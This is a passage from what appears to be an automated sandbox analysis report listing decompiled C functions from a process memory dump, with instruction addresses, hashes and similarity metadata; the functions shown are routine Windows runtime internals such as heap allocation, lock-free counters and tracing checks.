						goto L1;
					}
					L3:
					return _t43;
				}
				L1:
				_t23 = _v8;
				if(_t23 != 0) {
					_t38 = _a4;
					if(_t23 >  *_a4) {
						_t42 = L04B34620(_t38,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t23);
						if(_t42 == 0) {
							goto L3;
						}
						_t23 = _v8;
					}
					_push( &_v8);
					_push(_t23);
					_push(_t42);
					_push(6);
					_push(_t43);
					_push(_v12);
					_push(_t36);
					if(E04B3F460() < 0) {
						if(_t42 != 0 && _t42 != _v16) {
							L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t43, _t42);
						}
						goto L3;
					}
					 *_v20 = _t42;
					 *_a4 = _v8;
				}
				_t43 = 1;
				goto L3;
			}

0x04b41dc2
0x04b41dc5
0x04b41dc7
0x04b41dcc
0x04b41dce
0x04b41dd6
0x04b41ddf
0x04b41de0
0x04b41de1
0x04b41de5
0x04b41de8
0x04b41def
0x04b41df0
0x04b41df6
0x04b41df7
0x04b41dfe
0x04b41e1a
0x00000000
0x00000000
0x04b41e0b
0x04b41e12
0x04b41e12
0x04b41e00
0x04b41e00
0x04b41e05
0x04b41e1e
0x04b41e23
0x04b8570f
0x04b85713
0x00000000
0x00000000
0x04b85719
0x04b85719
0x04b41e2c
0x04b41e2d
0x04b41e2e
0x04b41e2f
0x04b41e31
0x04b41e32
0x04b41e35
0x04b41e3d
0x04b85723
0x04b8573d
0x04b8573d
0x00000000
0x04b85723
0x04b41e49
0x04b41e4e
0x04b41e4e
0x04b41e09
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
Instruction ID: ce02452f7afc725da4ff0dd0c2b90856072d1630dbedcb29b6ca23f0f78c1c97
Opcode Fuzzy Hash: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
Instruction Fuzzy Hash: 21219C76A40119FFD720CF9DCC84EAABBBDEF85784F114495E90597220DA30BE41EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04B19100, Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E04B19100(signed int __ebx, void* __ecx, void* __edi, signed int __esi, void* __eflags) {
				signed int _t53;
				signed int _t56;
				signed int* _t60;
				signed int _t63;
				signed int _t66;
				signed int _t69;
				void* _t70;
				intOrPtr* _t72;
				void* _t78;
				void* _t79;
				signed int _t80;
				intOrPtr _t82;
				void* _t85;
				void* _t88;
				void* _t89;

				_t84 = __esi;
				_t70 = __ecx;
				_t68 = __ebx;
				_push(0x2c);
				_push(0x4bef6e8);
				E04B6D0E8(__ebx, __edi, __esi);
				 *((char*)(_t85 - 0x1d)) = 0;
				_t82 =  *((intOrPtr*)(_t85 + 8));
				if(_t82 == 0) {
					L4:
					if( *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) == 0) {
						E04BE88F5(_t68, _t70, _t78, _t82, _t84, __eflags);
					}
					L5:
					return E04B6D130(_t68, _t82, _t84);
				}
				_t88 = _t82 -  *0x4c086c0; // 0x2f107b0
				if(_t88 == 0) {
					goto L4;
				}
				_t89 = _t82 -  *0x4c086b8; // 0x0
				if(_t89 == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L4;
				} else {
					E04B32280(_t82 + 0xe0, _t82 + 0xe0);
					 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
					__eflags =  *((char*)(_t82 + 0xe5));
					if(__eflags != 0) {
						E04BE88F5(__ebx, _t70, _t78, _t82, __esi, __eflags);
						goto L12;
					} else {
						__eflags =  *((char*)(_t82 + 0xe4));
						if( *((char*)(_t82 + 0xe4)) == 0) {
							 *((char*)(_t82 + 0xe4)) = 1;
							_push(_t82);
							_push( *((intOrPtr*)(_t82 + 0x24)));
							E04B5AFD0();
						}
						while(1) {
							_t60 = _t82 + 8;
							 *(_t85 - 0x2c) = _t60;
							_t68 =  *_t60;
							_t80 = _t60[1];
							 *(_t85 - 0x28) = _t68;
							 *(_t85 - 0x24) = _t80;
							while(1) {
								L10:
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t84 = _t68;
								 *(_t85 - 0x30) = _t80;
								 *(_t85 - 0x24) = _t80 - 1;
								asm("lock cmpxchg8b [edi]");
								_t68 = _t84;
								 *(_t85 - 0x28) = _t68;
								 *(_t85 - 0x24) = _t80;
								__eflags = _t68 - _t84;
								_t82 =  *((intOrPtr*)(_t85 + 8));
								if(_t68 != _t84) {
									continue;
								}
								__eflags = _t80 -  *(_t85 - 0x30);
								if(_t80 !=  *(_t85 - 0x30)) {
									continue;
								}
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t63 = 0;
								 *(_t85 - 0x34) = 0;
								_t84 = 0;
								__eflags = 0;
								while(1) {
									 *(_t85 - 0x3c) = _t84;
									__eflags = _t84 - 3;
									if(_t84 >= 3) {
										break;
									}
									__eflags = _t63;
									if(_t63 != 0) {
										L40:
										_t84 =  *_t63;
										__eflags = _t84;
										if(_t84 != 0) {
											_t84 =  *(_t84 + 4);
											__eflags = _t84;
											if(_t84 != 0) {
												 *0x4c0b1e0(_t63, _t82);
												 *_t84();
											}
										}
										do {
											_t60 = _t82 + 8;
											 *(_t85 - 0x2c) = _t60;
											_t68 =  *_t60;
											_t80 = _t60[1];
											 *(_t85 - 0x28) = _t68;
											 *(_t85 - 0x24) = _t80;
											goto L10;
										} while (_t63 == 0);
										goto L40;
									}
									_t69 = 0;
									__eflags = 0;
									while(1) {
										 *(_t85 - 0x38) = _t69;
										__eflags = _t69 -  *0x4c084c0;
										if(_t69 >=  *0x4c084c0) {
											break;
										}
										__eflags = _t63;
										if(_t63 != 0) {
											break;
										}
										_t66 = E04BE9063(_t69 * 0xc +  *((intOrPtr*)(_t82 + 0x10 + _t84 * 4)), _t80, _t82);
										__eflags = _t66;
										if(_t66 == 0) {
											_t63 = 0;
											__eflags = 0;
										} else {
											_t63 = _t66 + 0xfffffff4;
										}
										 *(_t85 - 0x34) = _t63;
										_t69 = _t69 + 1;
									}
									_t84 = _t84 + 1;
								}
								__eflags = _t63;
							}
							 *((intOrPtr*)(_t82 + 0xf4)) =  *((intOrPtr*)(_t85 + 4));
							 *((char*)(_t82 + 0xe5)) = 1;
							 *((char*)(_t85 - 0x1d)) = 1;
							L12:
							 *(_t85 - 4) = 0xfffffffe;
							E04B1922A(_t82);
							_t53 = E04B37D50();
							__eflags = _t53;
							if(_t53 != 0) {
								_t56 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							} else {
								_t56 = 0x7ffe0386;
							}
							__eflags =  *_t56;
							if( *_t56 != 0) {
								_t56 = E04BE8B58(_t82);
							}
							__eflags =  *((char*)(_t85 - 0x1d));
							if( *((char*)(_t85 - 0x1d)) != 0) {
								__eflags = _t82 -  *0x4c086c0; // 0x2f107b0
								if(__eflags != 0) {
									__eflags = _t82 -  *0x4c086b8; // 0x0
									if(__eflags == 0) {
										_t79 = 0x4c086bc;
										_t72 = 0x4c086b8;
										goto L18;
									}
									__eflags = _t56 | 0xffffffff;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										E04B19240(_t68, _t82, _t82, _t84, __eflags);
									}
								} else {
									_t79 = 0x4c086c4;
									_t72 = 0x4c086c0;
									L18:
									E04B49B82(_t68, _t72, _t79, _t82, _t84, __eflags);
								}
							}
							goto L5;
						}
					}
				}
			}

0x04b19100
0x04b19100
0x04b19100
0x04b19100
0x04b19102
0x04b19107
0x04b1910c
0x04b19110
0x04b19115
0x04b19136
0x04b19143
0x04b737e4
0x04b737e4
0x04b19149
0x04b1914e
0x04b1914e
0x04b19117
0x04b1911d
0x00000000
0x00000000
0x04b1911f
0x04b19125
0x00000000
0x04b19151
0x04b19158
0x04b1915d
0x04b19161
0x04b19168
0x04b73715
0x00000000
0x04b1916e
0x04b1916e
0x04b19175
0x04b19177
0x04b1917e
0x04b1917f
0x04b19182
0x04b19182
0x04b19187
0x04b19187
0x04b1918a
0x04b1918d
0x04b1918f
0x04b19192
0x04b19195
0x04b19198
0x04b19198
0x04b19198
0x04b1919a
0x00000000
0x00000000
0x04b7371f
0x04b73721
0x04b73727
0x04b7372f
0x04b73733
0x04b73735
0x04b73738
0x04b7373b
0x04b7373d
0x04b73740
0x00000000
0x00000000
0x04b73746
0x04b73749
0x00000000
0x00000000
0x04b7374f
0x04b73751
0x00000000
0x00000000
0x04b73757
0x04b73759
0x04b7375c
0x04b7375c
0x04b7375e
0x04b7375e
0x04b73761
0x04b73764
0x00000000
0x00000000
0x04b73766
0x04b73768
0x04b737a3
0x04b737a3
0x04b737a5
0x04b737a7
0x04b737ad
0x04b737b0
0x04b737b2
0x04b737bc
0x04b737c2
0x04b737c2
0x04b737b2
0x04b19187
0x04b19187
0x04b1918a
0x04b1918d
0x04b1918f
0x04b19192
0x04b19195
0x00000000
0x04b19195
0x00000000
0x04b19187
0x04b7376a
0x04b7376a
0x04b7376c
0x04b7376c
0x04b7376f
0x04b73775
0x00000000
0x00000000
0x04b73777
0x04b73779
0x00000000
0x00000000
0x04b73782
0x04b73787
0x04b73789
0x04b73790
0x04b73790
0x04b7378b
0x04b7378b
0x04b7378b
0x04b73792
0x04b73795
0x04b73795
0x04b73798
0x04b73798
0x04b7379b
0x04b7379b
0x04b191a3
0x04b191a9
0x04b191b0
0x04b191b4
0x04b191b4
0x04b191bb
0x04b191c0
0x04b191c5
0x04b191c7
0x04b737da
0x04b191cd
0x04b191cd
0x04b191cd
0x04b191d2
0x04b191d5
0x04b19239
0x04b19239
0x04b191d7
0x04b191db
0x04b191e1
0x04b191e7
0x04b191fd
0x04b19203
0x04b1921e
0x04b19223
0x00000000
0x04b19223
0x04b19205
0x04b19208
0x04b1920c
0x04b19214
0x04b19214
0x04b191e9
0x04b191e9
0x04b191ee
0x04b191f3
0x04b191f3
0x04b191f3
0x04b191e7
0x00000000
0x04b191db
0x04b19187
0x04b19168

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37067de75bae2f0e9385126534ca1099055ad27db02ba468a357ed2e7156bd5b
Instruction ID: b3f61f2865cfd9114d82feb28f2e880cf36f2753b1f72dbb2845eb0e7c817643
Opcode Fuzzy Hash: 37067de75bae2f0e9385126534ca1099055ad27db02ba468a357ed2e7156bd5b
Instruction Fuzzy Hash: D031C0B5A01684EFEB21DF68C498BACB7F1FB88314F5585D9C40467260C334B9E0DB61

Uniqueness

Uniqueness Score: -1.00%

Function 04B30050, Relevance: .1, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E04B30050(void* __ecx) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t30;
				intOrPtr* _t31;
				signed int _t34;
				void* _t40;
				void* _t41;
				signed int _t44;
				intOrPtr _t47;
				signed int _t58;
				void* _t59;
				void* _t61;
				void* _t62;
				signed int _t64;

				_push(__ecx);
				_v8 =  *0x4c0d360 ^ _t64;
				_t61 = __ecx;
				_t2 = _t61 + 0x20; // 0x20
				E04B49ED0(_t2, 1, 0);
				_t52 =  *(_t61 + 0x8c);
				_t4 = _t61 + 0x8c; // 0x8c
				_t40 = _t4;
				do {
					_t44 = _t52;
					_t58 = _t52 & 0x00000001;
					_t24 = _t44;
					asm("lock cmpxchg [ebx], edx");
					_t52 = _t44;
				} while (_t52 != _t44);
				if(_t58 == 0) {
					L7:
					_pop(_t59);
					_pop(_t62);
					_pop(_t41);
					return E04B5B640(_t24, _t41, _v8 ^ _t64, _t52, _t59, _t62);
				}
				asm("lock xadd [esi], eax");
				_t47 =  *[fs:0x18];
				 *((intOrPtr*)(_t61 + 0x50)) =  *((intOrPtr*)(_t47 + 0x19c));
				 *((intOrPtr*)(_t61 + 0x54)) =  *((intOrPtr*)(_t47 + 0x1a0));
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t30 != 0) {
					if( *_t30 == 0) {
						goto L4;
					}
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					L5:
					if( *_t31 != 0) {
						_t18 = _t61 + 0x78; // 0x78
						E04BE8A62( *(_t61 + 0x5c), _t18,  *((intOrPtr*)(_t61 + 0x30)),  *((intOrPtr*)(_t61 + 0x34)),  *((intOrPtr*)(_t61 + 0x3c)));
					}
					_t52 =  *(_t61 + 0x5c);
					_t11 = _t61 + 0x78; // 0x78
					_t34 = E04B49702(_t40, _t11,  *(_t61 + 0x5c),  *((intOrPtr*)(_t61 + 0x74)), 0);
					_t24 = _t34 | 0xffffffff;
					asm("lock xadd [esi], eax");
					if((_t34 | 0xffffffff) == 0) {
						 *0x4c0b1e0(_t61);
						_t24 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t61 + 4))))))();
					}
					goto L7;
				}
				L4:
				_t31 = 0x7ffe0386;
				goto L5;
			}

0x04b30055
0x04b3005d
0x04b30062
0x04b3006c
0x04b3006f
0x04b30074
0x04b3007a
0x04b3007a
0x04b30080
0x04b30080
0x04b30087
0x04b3008d
0x04b3008f
0x04b30093
0x04b30095
0x04b3009b
0x04b300f8
0x04b300fb
0x04b300fc
0x04b300ff
0x04b30108
0x04b30108
0x04b300a2
0x04b300a6
0x04b300b3
0x04b300bc
0x04b300c5
0x04b300ca
0x04b7c01e
0x00000000
0x00000000
0x04b7c02d
0x04b300d5
0x04b300d9
0x04b7c03d
0x04b7c046
0x04b7c046
0x04b300df
0x04b300e2
0x04b300ea
0x04b300ef
0x04b300f2
0x04b300f6
0x04b30111
0x04b30117
0x04b30117
0x00000000
0x04b300f6
0x04b300d0
0x04b300d0
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90a567422f306ed6248cba2f732192515c7ff67397f59ea8b2d0509851b92d3a
Instruction ID: d9759c6ca614fb451fe5c12db05a6d8e13c10d109ca63f99384cc4861cfbc6cd
Opcode Fuzzy Hash: 90a567422f306ed6248cba2f732192515c7ff67397f59ea8b2d0509851b92d3a
Instruction Fuzzy Hash: F431BD31201B04CFD725DF29C880B9AB3E5FF88719F1445ADE4AA87A90EB35BC01DB90

Uniqueness

Uniqueness Score: -1.00%

Function 04B96C0A, Relevance: .1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E04B96C0A(signed short* __ecx, signed char __edx, signed char _a4, signed char _a8) {
				signed short* _v8;
				signed char _v12;
				void* _t22;
				signed char* _t23;
				intOrPtr _t24;
				signed short* _t44;
				void* _t47;
				signed char* _t56;
				signed char* _t58;

				_t48 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t44 = __ecx;
				_v12 = __edx;
				_v8 = __ecx;
				_t22 = E04B37D50();
				_t58 = 0x7ffe0384;
				if(_t22 == 0) {
					_t23 = 0x7ffe0384;
				} else {
					_t23 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t23 != 0) {
					_t24 =  *0x4c07b9c; // 0x0
					_t47 = ( *_t44 & 0x0000ffff) + 0x30;
					_t23 = L04B34620(_t48,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t24 + 0x180000, _t47);
					_t56 = _t23;
					if(_t56 != 0) {
						_t56[0x24] = _a4;
						_t56[0x28] = _a8;
						_t56[6] = 0x1420;
						_t56[0x20] = _v12;
						_t14 =  &(_t56[0x2c]); // 0x2c
						E04B5F3E0(_t14, _v8[2],  *_v8 & 0x0000ffff);
						_t56[0x2c + (( *_v8 & 0x0000ffff) >> 1) * 2] = 0;
						if(E04B37D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						_push(_t56);
						_push(_t47 - 0x20);
						_push(0x402);
						_push( *_t58 & 0x000000ff);
						E04B59AE0();
						_t23 = L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t56);
					}
				}
				return _t23;
			}

0x04b96c0a
0x04b96c0f
0x04b96c10
0x04b96c13
0x04b96c15
0x04b96c19
0x04b96c1c
0x04b96c21
0x04b96c28
0x04b96c3a
0x04b96c2a
0x04b96c33
0x04b96c33
0x04b96c3f
0x04b96c48
0x04b96c4d
0x04b96c60
0x04b96c65
0x04b96c69
0x04b96c73
0x04b96c79
0x04b96c7f
0x04b96c86
0x04b96c90
0x04b96c94
0x04b96ca6
0x04b96cb2
0x04b96cbd
0x04b96cbd
0x04b96cc3
0x04b96cc7
0x04b96ccb
0x04b96cd0
0x04b96cd1
0x04b96ce2
0x04b96ce2
0x04b96c69
0x04b96ced

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d9df786c890494398210cc02e333dde368f84fb78d1a2604c723e02df76a3ac
Instruction ID: 3be65d3ab25fceaacdd6c0b3e3cbb52a18fe90539be127e258ca2bef8dad71d5
Opcode Fuzzy Hash: 5d9df786c890494398210cc02e333dde368f84fb78d1a2604c723e02df76a3ac
Instruction Fuzzy Hash: 48219AB1A00644ABDB15DB69D880F2AB7B8FF48704F0440AAF904C7790EA34ED10CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 04B590AF, Relevance: .1, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E04B590AF(intOrPtr __ecx, void* __edx, intOrPtr* _a4) {
				intOrPtr* _v0;
				void* _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v36;
				void* _t38;
				intOrPtr _t41;
				void* _t44;
				signed int _t45;
				intOrPtr* _t49;
				signed int _t57;
				signed int _t58;
				intOrPtr* _t59;
				void* _t62;
				void* _t63;
				void* _t65;
				void* _t66;
				signed int _t69;
				intOrPtr* _t70;
				void* _t71;
				intOrPtr* _t72;
				intOrPtr* _t73;
				char _t74;

				_t65 = __edx;
				_t57 = _a4;
				_t32 = __ecx;
				_v8 = __edx;
				_t3 = _t32 + 0x14c; // 0x14c
				_t70 = _t3;
				_v16 = __ecx;
				_t72 =  *_t70;
				while(_t72 != _t70) {
					if( *((intOrPtr*)(_t72 + 0xc)) != _t57) {
						L24:
						_t72 =  *_t72;
						continue;
					}
					_t30 = _t72 + 0x10; // 0x10
					if(E04B6D4F0(_t30, _t65, _t57) == _t57) {
						return 0xb7;
					}
					_t65 = _v8;
					goto L24;
				}
				_t61 = _t57;
				_push( &_v12);
				_t66 = 0x10;
				if(E04B4E5E0(_t57, _t66) < 0) {
					return 0x216;
				}
				_t73 = L04B34620(_t61,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v12);
				if(_t73 == 0) {
					_t38 = 0xe;
					return _t38;
				}
				_t9 = _t73 + 0x10; // 0x10
				 *((intOrPtr*)(_t73 + 0xc)) = _t57;
				E04B5F3E0(_t9, _v8, _t57);
				_t41 =  *_t70;
				if( *((intOrPtr*)(_t41 + 4)) != _t70) {
					_t62 = 3;
					asm("int 0x29");
					_push(_t62);
					_push(_t57);
					_push(_t73);
					_push(_t70);
					_t71 = _t62;
					_t74 = 0;
					_v36 = 0;
					_t63 = E04B4A2F0(_t62, _t71, 1, 6,  &_v36);
					if(_t63 == 0) {
						L20:
						_t44 = 0x57;
						return _t44;
					}
					_t45 = _v12;
					_t58 = 0x1c;
					if(_t45 < _t58) {
						goto L20;
					}
					_t69 = _t45 / _t58;
					if(_t69 == 0) {
						L19:
						return 0xe8;
					}
					_t59 = _v0;
					do {
						if( *((intOrPtr*)(_t63 + 0xc)) != 2) {
							goto L18;
						}
						_t49 =  *((intOrPtr*)(_t63 + 0x14)) + _t71;
						 *_t59 = _t49;
						if( *_t49 != 0x53445352) {
							goto L18;
						}
						 *_a4 =  *((intOrPtr*)(_t63 + 0x10));
						return 0;
						L18:
						_t63 = _t63 + 0x1c;
						_t74 = _t74 + 1;
					} while (_t74 < _t69);
					goto L19;
				}
				 *_t73 = _t41;
				 *((intOrPtr*)(_t73 + 4)) = _t70;
				 *((intOrPtr*)(_t41 + 4)) = _t73;
				 *_t70 = _t73;
				 *(_v16 + 0xdc) =  *(_v16 + 0xdc) | 0x00000010;
				return 0;
			}

0x04b590af
0x04b590b8
0x04b590bb
0x04b590bf
0x04b590c2
0x04b590c2
0x04b590c8
0x04b590cb
0x04b590cd
0x04b914d7
0x04b914eb
0x04b914eb
0x00000000
0x04b914eb
0x04b914db
0x04b914e6
0x00000000
0x04b914f2
0x04b914e8
0x00000000
0x04b914e8
0x04b590d8
0x04b590da
0x04b590dd
0x04b590e5
0x00000000
0x04b59139
0x04b590fa
0x04b590fe
0x04b59142
0x00000000
0x04b59142
0x04b59104
0x04b59107
0x04b5910b
0x04b59110
0x04b59118
0x04b59147
0x04b59148
0x04b5914f
0x04b59150
0x04b59151
0x04b59152
0x04b59156
0x04b5915d
0x04b59160
0x04b59168
0x04b5916c
0x04b591bc
0x04b591be
0x00000000
0x04b591be
0x04b5916e
0x04b59173
0x04b59176
0x00000000
0x00000000
0x04b5917c
0x04b59180
0x04b591b5
0x00000000
0x04b591b5
0x04b59182
0x04b59185
0x04b59189
0x00000000
0x00000000
0x04b5918e
0x04b59190
0x04b59198
0x00000000
0x00000000
0x04b591a0
0x00000000
0x04b591ad
0x04b591ad
0x04b591b0
0x04b591b1
0x00000000
0x04b59185
0x04b5911a
0x04b5911c
0x04b5911f
0x04b59125
0x04b59127
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction ID: 82f613b8350928661825c41feedccca80fb426f76afd3bbc3f8e6c6d6166261b
Opcode Fuzzy Hash: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction Fuzzy Hash: FE2153B5A00215EFEB21EF59C444B6AF7F8EB44354F1488BAE95997210D370FD50DB90

Uniqueness

Uniqueness Score: -1.00%

Function 04B43B7A, Relevance: .1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E04B43B7A(void* __ecx) {
				signed int _v8;
				char _v12;
				intOrPtr _v20;
				intOrPtr _t17;
				intOrPtr _t26;
				void* _t35;
				void* _t38;
				void* _t41;
				intOrPtr _t44;

				_t17 =  *0x4c084c4; // 0x0
				_v12 = 1;
				_v8 =  *0x4c084c0 * 0x4c;
				_t41 = __ecx;
				_t35 = L04B34620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t17 + 0x000c0000 | 0x00000008,  *0x4c084c0 * 0x4c);
				if(_t35 == 0) {
					_t44 = 0xc0000017;
				} else {
					_push( &_v8);
					_push(_v8);
					_push(_t35);
					_push(4);
					_push( &_v12);
					_push(0x6b);
					_t44 = E04B5AA90();
					_v20 = _t44;
					if(_t44 >= 0) {
						E04B5FA60( *((intOrPtr*)(_t41 + 0x20)), 0,  *0x4c084c0 * 0xc);
						_t38 = _t35;
						if(_t35 < _v8 + _t35) {
							do {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t38 = _t38 +  *((intOrPtr*)(_t38 + 4));
							} while (_t38 < _v8 + _t35);
							_t44 = _v20;
						}
					}
					_t26 =  *0x4c084c4; // 0x0
					L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t26 + 0xc0000, _t35);
				}
				return _t44;
			}

0x04b43b89
0x04b43b96
0x04b43ba1
0x04b43bab
0x04b43bb5
0x04b43bb9
0x04b86298
0x04b43bbf
0x04b43bc2
0x04b43bc3
0x04b43bc9
0x04b43bca
0x04b43bcc
0x04b43bcd
0x04b43bd4
0x04b43bd6
0x04b43bdb
0x04b43bea
0x04b43bf7
0x04b43bfb
0x04b43bff
0x04b43c09
0x04b43c0a
0x04b43c0b
0x04b43c0f
0x04b43c14
0x04b43c18
0x04b43c18
0x04b43bfb
0x04b43c1b
0x04b43c30
0x04b43c30
0x04b43c3d

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd26ba7108bcab68f3446ef8f48f719b1720deeb1cbbaa5e323d307bb412fdcf
Instruction ID: 25c3337e2a8ccd3c6fe9b96655221987ad4b9825a58bb816001ec6a1a95ccf61
Opcode Fuzzy Hash: fd26ba7108bcab68f3446ef8f48f719b1720deeb1cbbaa5e323d307bb412fdcf
Instruction Fuzzy Hash: C7218E72A00508AFDB00DF98CD91B6AB7BDFB84708F1940A8E908AB251D775BD51DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 04B96CF0, Relevance: .1, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E04B96CF0(void* __edx, intOrPtr _a4, short _a8) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v28;
				char _v36;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char* _t21;
				void* _t24;
				void* _t36;
				void* _t38;
				void* _t46;

				_push(_t36);
				_t46 = __edx;
				_v12 = 0;
				_v8 = 0;
				_v20 = 0;
				_v16 = 0;
				if(E04B37D50() == 0) {
					_t21 = 0x7ffe0384;
				} else {
					_t21 = ( *[fs:0x30])[0x50] + 0x22a;
				}
				if( *_t21 != 0) {
					_t21 =  *[fs:0x30];
					if((_t21[0x240] & 0x00000004) != 0) {
						if(E04B37D50() == 0) {
							_t21 = 0x7ffe0385;
						} else {
							_t21 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t21 & 0x00000020) != 0) {
							_t56 = _t46;
							if(_t46 == 0) {
								_t46 = 0x4af5c80;
							}
							_push(_t46);
							_push( &_v12);
							_t24 = E04B4F6E0(_t36, 0, _t46, _t56);
							_push(_a4);
							_t38 = _t24;
							_push( &_v28);
							_t21 = E04B4F6E0(_t38, 0, _t46, _t56);
							if(_t38 != 0) {
								if(_t21 != 0) {
									E04B97016(_a8, 0, 0, 0,  &_v36,  &_v28);
									L04B32400( &_v52);
								}
								_t21 = L04B32400( &_v28);
							}
						}
					}
				}
				return _t21;
			}

0x04b96cfb
0x04b96d00
0x04b96d02
0x04b96d06
0x04b96d0a
0x04b96d0e
0x04b96d19
0x04b96d2b
0x04b96d1b
0x04b96d24
0x04b96d24
0x04b96d33
0x04b96d39
0x04b96d46
0x04b96d4f
0x04b96d61
0x04b96d51
0x04b96d5a
0x04b96d5a
0x04b96d69
0x04b96d6b
0x04b96d6d
0x04b96d6f
0x04b96d6f
0x04b96d74
0x04b96d79
0x04b96d7a
0x04b96d7f
0x04b96d82
0x04b96d88
0x04b96d89
0x04b96d90
0x04b96d94
0x04b96da7
0x04b96db1
0x04b96db1
0x04b96dbb
0x04b96dbb
0x04b96d90
0x04b96d69
0x04b96d46
0x04b96dc6

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c2a851bf3b0d09962f3bd1b47b59ce54f763643b0d3187449299ab82fc52027
Instruction ID: aa727fb6be67cedc4d4893d41432dcd589479fce9e5f389d99e3f7680bc1cd33
Opcode Fuzzy Hash: 1c2a851bf3b0d09962f3bd1b47b59ce54f763643b0d3187449299ab82fc52027
Instruction Fuzzy Hash: 4021FF72500244ABDB11EF69C944B6BB7ECEF81794F0804E6F960C7261EB34F908D6A2

Uniqueness

Uniqueness Score: -1.00%

Function 04BE070D, Relevance: .1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E04BE070D(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				char _v8;
				intOrPtr _v11;
				signed int _v12;
				intOrPtr _v15;
				signed int _v16;
				intOrPtr _v28;
				void* __ebx;
				char* _t32;
				signed int* _t38;
				signed int _t60;

				_t38 = __ecx;
				_v16 = __edx;
				_t60 = E04BE07DF(__ecx, __edx,  &_a4,  &_a8, 2);
				if(_t60 != 0) {
